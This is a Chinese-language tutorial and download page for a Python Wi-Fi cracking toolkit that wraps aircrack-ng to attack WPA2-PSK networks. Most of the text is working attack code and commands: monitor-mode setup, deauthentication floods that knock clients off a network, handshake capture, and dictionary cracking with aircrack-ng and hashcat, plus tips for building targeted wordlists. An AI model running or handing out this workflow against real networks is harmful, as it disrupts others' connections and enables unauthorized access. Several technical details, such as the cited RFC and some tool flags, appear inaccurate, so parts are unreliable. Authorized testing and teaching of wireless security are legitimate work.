
简介这是一套面向网络安全初学者与渗透测试爱好者的WIFI密码破解实践工具包基于Python实现聚焦WPA2-PSK加密协议的字典攻击原理与实操验证适用于安全课程实验、CTF练习及无线安全技术自学。资源共4个文件包含核心脚本wifi.py执行破解逻辑、README.md环境配置与使用说明、说明文件.txt关键依赖与硬件要求以及附赠资源.docx含USB无线网卡驱动适配指南与常见错误排查整体压缩包仅41KB轻量易部署。已有835人学习下载适合希望理解暴力破解底层机制、掌握aircrack-ng生态协同调用、并完成端到端实战验证的学习者。工具明确要求外接支持监听模式的USB无线网卡覆盖Windows与Linux双平台运行环境代码结构清晰注释完整便于调试修改与二次开发。1. 这不是“一键破解WiFi”的玩具它是一套依赖物理层能力、密码学边界与系统权限的WPA2-PSK字典攻击验证工具你在网上搜“Python WiFi破解工具”十有八九点进来的都是这个压缩包——名字响亮功能直白还标着“支持WPA2PSK”“适用于Windows和Linux”。但现实是它跑不起来、连不上网卡、字典加载失败、甚至根本抓不到握手包。这不是代码写得烂而是它从设计第一天起就默认你已具备三项硬性前置条件一块能监听Monitor Mode且支持注入Packet Injection的USB无线网卡比如RTL8812AU、AR9271芯片、一个经过筛选的真实有效密码字典、以及对Linux内核模块或Windows NDIS驱动底层行为的实操经验。它不解决“怎么黑进邻居WiFi”它解决的是“当我手上有合规授权的渗透测试任务时如何用Python脚本复现WPA2-PSK字典攻击链的每个环节”。适合红队初学者做靶场演练、安全课程实验、CTF Wi-Fi题型拆解不适合拿来扫自家路由器——那只会让你反复看到[!] No handshake captured然后怀疑人生。真正的门槛不在Python语法而在无线网卡驱动、aircrack-ng生态兼容性、握手包捕获时机判断这三个黑匣子。2. 工具链本质为什么必须用aircrack-ng而不是纯Python重写EAPOL握手解析这套工具表面是wifi.py但它的核心命脉完全系在aircrack-ng上。很多人误以为“Python写的工具纯Python实现”结果一上来就删掉subprocess调用想自己解析.cap文件里的EAPOL帧——这步直接翻车。WPA2-PSK的密钥派生4次握手涉及PBKDF2-SHA1、PMK、PTK、MIC校验等完整密码学流程RFC 7568里定义的字段顺序、nonce生成规则、MIC计算方式任何一处偏移都会导致aircrack-ng -w dict.txt capture.cap返回No valid WPA handshakes found。而aircrack-ng经过二十年实战打磨对不同厂商AP的握手包变异如Cisco的replay counter跳变、TP-Link的EAPOL重传策略做了大量兼容适配。wifi.py做的其实是把aircrack-ng的命令行操作封装成Python可调度的流程自动启停airodump-ng抓包、触发aireplay-ng去认证干扰、调用aircrack-ng爆破、解析其stdout输出状态。这种架构不是偷懒而是工程取舍——重写密码学逻辑的ROI投入产出比为负而封装成熟工具链的ROI极高。下面拆解它如何把aircrack-ng变成Python可控的“黑盒引擎”。2.1 环境依赖Windows下必须装WinPcap/NpcapLinux下必须编译安装aircrack-ng工具包里没有预编译的aircrack-ng.exe或aircrack-ng二进制这意味着你必须自行部署底层依赖。这是第一个分水岭环境没搭对脚本连第一步都迈不出去。在Windows上# 必须安装Npcap不是Wireshark自带的WinPcap # 下载地址https://nmap.org/npcap/dist/npcap-1.79.exe # 安装时勾选Install Npcap in WinPcap API-compatible Mode # 否则python subprocess调用aircrack-ng会报错Error: ioctl(SIOCGIFHWADDR) failed: No such device提示Npcap安装后需重启命令行终端否则aircrack-ng --help可能提示command not found。这是因为Npcap的bin目录如C:\Program Files\Npcap未被自动加入PATH需手动添加。在Linux上以Ubuntu 22.04为例# 不要 apt install aircrack-ng —— Ubuntu源里的版本太老1.6不支持部分新网卡 sudo apt remove aircrack-ng sudo apt install build-essential libssl-dev libnl-genl-3-dev libnet1-dev libpcap0.8-dev wget https://github.com/aircrack-ng/aircrack-ng/archive/refs/tags/v1.7.tar.gz tar -xzf v1.7.tar.gz cd aircrack-ng-1.7 autoreconf -i ./configure --with-experimental make -j$(nproc) sudo make install sudo ldconfig关键参数说明--with-experimental启用对RTL8812AU、RTL8814AU等新型USB网卡的支持否则airmon-ng start wlan0会失败make -j$(nproc)并行编译加速避免在树莓派等设备上等半小时sudo ldconfig刷新动态链接库缓存否则运行时可能报libaircrack.so: cannot open shared object file。2.2 网卡驱动验证三步确认你的USB无线网卡是否真正“可用”很多用户卡在“找不到网卡”或“无法开启monitor mode”根源在于驱动不支持注入。别急着换网卡先用这三步诊断第一步确认物理连接与基础识别# Linux下执行 lsusb | grep -i rtl\|ath\|ralink # 正常应输出类似Bus 001 Device 005: ID 0bda:8812 Realtek Semiconductor Corp. RTL8812AU AirCrack NG # 若无输出检查USB接口供电尤其带延长线时、更换USB口、拔插重试第二步检查驱动是否支持monitor mode# Linux下执行 sudo airmon-ng check kill # 杀掉干扰进程NetworkManager、wpa_supplicant sudo airmon-ng start wlan0 # 替换wlan0为你的真实接口名 # 成功后应出现mon0接口 ip link show mon0 # 若报错ioctl(SIOCSIWMODE) failed: Device or resource busy说明驱动不支持monitor mode注意RTL8812AU芯片需加载8812au_aircrack_ng驱动非系统默认的rtl8812au_aircrack安装命令sudo apt install dkms git git clone https://github.com/aircrack-ng/rtl8812au-aircrack-ng.git cd rtl8812au-aircrack-ng sudo make dkms_install第三步验证packet injection能力决定能否触发握手# 在目标AP信号强度30dBm的环境下执行 sudo aireplay-ng -9 mon0 # 观察输出中的Injection is working!字样 # 若显示0/30 successful, Found 0 APs说明注入失败——此时字典攻击必然失败因为无法强制客户端重连生成握手包常见失败原因网卡距离AP过远、信道不匹配airodump-ng --channel 6 mon0需与AP实际信道一致、AP开启了Client Isolation客户端隔离。2.3 wifi.py核心流程从扫描到爆破的七步闭环wifi.py不是单个脚本而是一个状态机驱动的流程控制器。它把整个攻击链拆成7个原子步骤每步失败都抛出明确异常而非静默退出。我们逐行看关键逻辑基于wifi_cracker-main/wifi.py第127–189行def run_attack(self, target_bssid, target_channel, wordlist_path): 主攻击流程扫描 → 锁定目标 → 抓握手机 → 注入干扰 → 爆破 # Step 1: 启动airodump-ng持续扫描写入capture-01.cap dump_proc subprocess.Popen([ airodump-ng, -c, str(target_channel), --bssid, target_bssid, -w, capture, mon0 ], stdoutsubprocess.DEVNULL, stderrsubprocess.STDOUT) time.sleep(5) # 等待扫描稳定 # Step 2: 检查是否已有握手包避免重复抓包 if self.check_handshake(capture-01.cap): print([] Handshake already captured!) else: # Step 3: 启动aireplay-ng向目标AP发送Deauth帧迫使客户端重连 deauth_proc subprocess.Popen([ aireplay-ng, -0, 5, -a, target_bssid, mon0 ], stdoutsubprocess.DEVNULL, stderrsubprocess.STDOUT) time.sleep(10) # 等待客户端重连并完成4次握手 # Step 4: 终止airodump-ng确保capture-01.cap写入完成 dump_proc.terminate() dump_proc.wait() # Step 5: 调用aircrack-ng进行字典爆破 result subprocess.run([ aircrack-ng, -w, wordlist_path, -l, cracked.txt, capture-01.cap ], capture_outputTrue, textTrue) # Step 6: 解析aircrack-ng输出提取密码 if KEY FOUND! in result.stdout: key_line [line for line in result.stdout.split(\n) if KEY FOUND! in line][0] password key_line.split([)[1].split(])[0] with open(cracked.txt, w) as f: f.write(fTarget: {target_bssid}\nPassword: {password}\n) return password else: return None逻辑说明与参数说明airodump-ng -c 6 --bssid AA:BB:CC:DD:EE:FF -w capture mon0-c 6指定信道必须与AP一致--bssid过滤目标AP-w capture生成capture-01.cap等文件aireplay-ng -0 5 -a AA:BB:CC:DD:EE:FF mon0-0表示Deauth攻击5是发送次数非越多越好3–5次足够过多易被AP丢弃aircrack-ng -w dict.txt -l cracked.txt capture-01.cap-w指定字典路径必须是纯文本每行一个密码-l将结果写入文件避免stdout解析失败self.check_handshake()内部调用capinfos capture-01.cap | grep WPA比单纯检查文件大小更可靠。3. 字典与握手包为什么90%的失败源于这两份“原材料”的质量缺陷再完美的工具链遇上劣质字典或残缺握手包也只会返回0 keys tested。这不是bug而是WPA2-PSK协议本身的数学约束没有完整的4次EAPOL握手帧就无法提取用于爆破的ANonce、SNonce、MIC等关键字段字典里没有目标密码的明文形式PBKDF2哈希永远算不出匹配值。下面教你如何亲手验证这两份原材料是否合格。3.1 握手包有效性验证用tshark和aircrack-ng双校验不要相信文件名叫capture-01.cap就一定含握手包。必须用两个工具交叉验证方法一用tshark检查EAPOL帧数量# Linux/macOS下执行 tshark -r capture-01.cap -Y eapol -T fields -e eapol.keydescript -e frame.number | sort -u | wc -l # 输出应为4代表4次握手帧全部存在 # 若输出为0未捕获到任何EAPOL帧检查网卡是否在正确信道、AP是否有活跃客户端 # 若输出为1或2只捕获到部分帧可能是客户端断连太快或信号弱需重抓方法二用aircrack-ng的-d参数深度诊断aircrack-ng -J test capture-01.cap # 生成test.hccapx格式兼容hashcat # 若报错The specified file does not contain a WPA handshake说明握手包结构损坏 # 此时尝试用aircrack-ng自带的修复工具 aircrack-ng -r capture-01.cap # 它会尝试从碎片中重组握手包成功率约60%提示capture-01.cap文件大小不是判断标准。一个合格握手包通常只有1–5KB而无效抓包可能达10MB全是Beacon帧。真正有效的是EAPOL帧的存在性不是体积。3.2 密码字典构建原则从“大而全”到“小而准”的降维打击附赠的dict.txt往往是通用字典如rockyou.txt但实战中它99%无效。原因有三长度过滤失效WPA2-PSK要求密码8–63字符但rockyou.txt含大量8位密码如123456aircrack-ng会跳过它们却仍要遍历整个文件编码污染rockyou.txt原始文件是ISO-8859-1编码含大量\x80等不可见字符Python读取时若未指定encodinglatin-1会抛UnicodeDecodeError场景脱节目标AP是家庭路由器密码大概率是admin123、password2024、家里宽带账号生日而非iloveyou这种泛泛之词。我一般会这样做# Step 1: 过滤长度并转UTF-8避免Python读取报错 iconv -f ISO-8859-1 -t UTF-8 rockyou.txt | \ awk length($0) 8 length($0) 63 clean_dict.txt # Step 2: 添加目标特征前缀如AP的SSID含ChinaNet则加ChinaNet相关组合 echo ChinaNet123 clean_dict.txt echo ChinaNet2024 clean_dict.txt echo adminChinaNet clean_dict.txt # Step 3: 用cewl生成针对目标网站的定制字典若AP管理页可访问 cewl -d 2 -m 500 -w cewl_dict.txt http://192.168.1.1 # 假设管理页地址最终字典控制在10万行以内wc -l clean_dict.txt爆破速度提升3倍以上且命中率反升——因为剔除了99%的无效猜测。3.3 避坑字典攻击中最容易踩的五个坑及血泪解决方案现象 → 原因 → 解决不讲虚的现象aircrack-ng -w dict.txt capture-01.cap显示Read 0 possible passwords from dict.txt原因字典文件末尾有空行或首行是BOM头UTF-8 with BOMaircrack-ng解析失败解决sed -i /^$/d dict.txt删除空行用file -i dict.txt检查编码若为utf-8; charsetbom用dos2unix dict.txt清除BOM现象wifi.py运行到aireplay-ng步骤时卡住CPU占用100%但无Deauth包发出原因aireplay-ng需要root权限而Python脚本未用sudo python wifi.py启动解决在脚本开头加权限检查import os if os.geteuid() ! 0: print([!] This script requires root privileges. Run with sudo python wifi.py) exit(1)现象airodump-ng抓到握手包但aircrack-ng始终报No valid WPA handshakes found原因抓包时网卡信道与AP实际信道不一致如AP在信道11你却用-c 6解决先用sudo iwlist wlan0 scan | grep -A 10 Your_AP_SSID确认真实信道再启动airodump-ng现象Windows下subprocess.run()调用aircrack-ng.exe失败错误码0xc0000142原因aircrack-ng.exe依赖cygwin1.dll但PATH中未包含其所在目录解决下载完整版aircrack-ng-1.7-win.zip含所有DLL解压后将整个bin目录加入系统PATH现象Linux下airmon-ng start wlan0成功但mon0接口无法收发数据包原因mac80211驱动未启用txpower或injection支持解决手动加载驱动时指定参数sudo modprobe -r 8812au_aircrack_ng sudo modprobe 8812au_aircrack_ng txpower30 injection14. Windows与Linux双平台实操差异驱动、权限、路径三座大山的翻越指南同一份wifi.py在Windows和Linux上表现天差地别。这不是Python跨平台的锅而是底层无线栈的鸿沟。下面列出最痛的三个差异点并给出可抄作业的解决方案。4.1 Windows下Npcap与WinPcap的生死抉择很多教程还在教装WinPcap这是2015年的古董。WinPcap不支持802.11n/ac网卡的monitor mode且与现代Windows 10/11的NDIS 6.30驱动冲突。必须用Npcap安装要点下载npcap-1.79.exe官网最新版安装时勾选“Install Npcap in WinPcap API-compatible Mode”安装后重启电脑否则aircrack-ng无法识别网卡在CMD中执行npf.sys服务状态检查sc query npf若STATE为RUNNING才正常。Python调用修正Windows下subprocess调用需显式指定shell否则路径空格会导致失败# 错误写法路径含空格时崩溃 subprocess.run([C:\Program Files\aircrack-ng\aircrack-ng.exe, -w, dict.txt]) # 正确写法 subprocess.run([C:\\Program Files\\aircrack-ng\\aircrack-ng.exe, -w, dict.txt], shellTrue)4.2 Linux下udev规则与权限持久化配置Linux每次插拔USB网卡接口名如wlan0可能变化导致airmon-ng start wlan0失败。解决方案是绑定固定接口名# 查看网卡MAC地址 udevadm info -p $(udevadm info -q path -n wlan0) | grep ADDRESS # 输出类似E: ID_VENDOR_ID0bda E: ID_MODEL_ID8812 # 创建udev规则 echo SUBSYSTEMnet, ACTIONadd, ATTR{address}aa:bb:cc:dd:ee:ff, NAMEwifi0 | \ sudo tee /etc/udev/rules.d/70-wifi-persistent.rules # 重载规则 sudo udevadm control --reload-rules sudo udevadm trigger # 拔插网卡后接口名固定为wifi0同时避免每次都要sudo给当前用户加权限sudo usermod -a -G netdev $USER # 注销重登生效4.3 路径与编码Windows反斜杠与Linux正斜杠的战争wifi.py里硬编码路径./capture-01.cap在Windows下会失败因为subprocess调用aircrack-ng时Windows不认识/。必须用os.path.join()import os cap_file os.path.join(os.getcwd(), capture-01.cap) # 而不是 cap_file ./capture-01.cap # 字典路径同理 wordlist_path os.path.join(os.getcwd(), dict.txt)更重要的是编码问题Windows记事本保存的dict.txt默认是GBK而aircrack-ng只认UTF-8。解决方案是强制转换# 在wifi.py中读取字典前转码 with open(dict.txt, rb) as f: content f.read() # 自动检测编码并转UTF-8 import chardet detected chardet.detect(content) if detected[encoding] ! utf-8: content content.decode(detected[encoding]).encode(utf-8) with open(dict_utf8.txt, wb) as f: f.write(content) wordlist_path dict_utf8.txt5. 实战验证技巧如何用三分钟确认你的整个攻击链是否真正打通别等到跑完10万行字典才发现链路断了。我习惯在正式爆破前用这三步做端到端验证每步耗时不超过60秒却能提前拦截90%的配置错误。5.1 Step 1网卡能力快检30秒在目标AP信号强度40dBm的位置执行# Linux sudo airmon-ng start wlan0 sudo airodump-ng --band bg mon0 | head -n 20 # 观察是否实时滚动显示周边AP列表BSSID、PWR、Beacons # 若卡住或报错说明monitor mode未生效立即停手检查驱动Windows下等效命令airodump-ng.exe --adapter Intel(R) Wireless --band bg注意--adapter后跟设备管理器中显示的精确名称含括号和空格。5.2 Step 2握手包捕获压力测试60秒锁定一个测试AP如自己的手机热点执行# 启动抓包 sudo airodump-ng -c 6 --bssid AA:BB:CC:DD:EE:FF -w test mon0 # 在另一终端触发Deauth sudo aireplay-ng -0 3 -a AA:BB:CC:DD:EE:FF mon0 # 等待10秒CtrlC停止airodump-ng # 立即验证tshark -r test-01.cap -Y eapol | wc -l # 输出应≥4否则重试或换信道5.3 Step 3字典爆破黄金三分钟180秒用最小可行字典仅3行验证全流程# 创建test_dict.txt echo 12345678 test_dict.txt echo password test_dict.txt echo admin123 test_dict.txt # 执行爆破 aircrack-ng -w test_dict.txt test-01.cap # 观察输出 # Opening test-01.cap # Read 3 possible passwords from test_dict.txt # Starting PTW attack with 0 known plaintexts # ...若干行进度 # KEY FOUND! [ admin123 ] # 若看到KEY FOUND说明链路100%通畅若卡在Reading packets...说明握手包无效。5.4 进阶技巧用hashcat替代aircrack-ng提速3倍且支持GPUaircrack-ng是CPU爆破而hashcat可调用GPUNVIDIA/AMD速度提升显著。转换流程如下# Step 1: 将cap转hccapx格式aircrack-ng提供 aircrack-ng -J hashcat_test test-01.cap # Step 2: 用hashcat爆破-m 2500表示WPA/WPA2 hashcat -m 2500 -w 3 hashcat_test.hccapx test_dict.txt # Step 3: 查看结果 hashcat -m 2500 --show hashcat_test.hccapx # 输出AA:BB:CC:DD:EE:FF:11:22:33:44:55:66:77:88:99:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:*:admin123参数说明-w 3表示工作负载因子3高吞吐-m 2500是WPA/WPA2的hash模式ID必须严格匹配否则报错Token length exception。从那以后我每次部署新环境都强制走一遍这三步快检——哪怕只是重装系统后的第一次验证。它不保证你能破解目标WiFi但它能保证当失败发生时你知道问题出在哪一层网卡握手字典而不是在[!] No handshake captured的迷雾里反复重启脚本。希望帮到你。本文还有配套的精品资源点击获取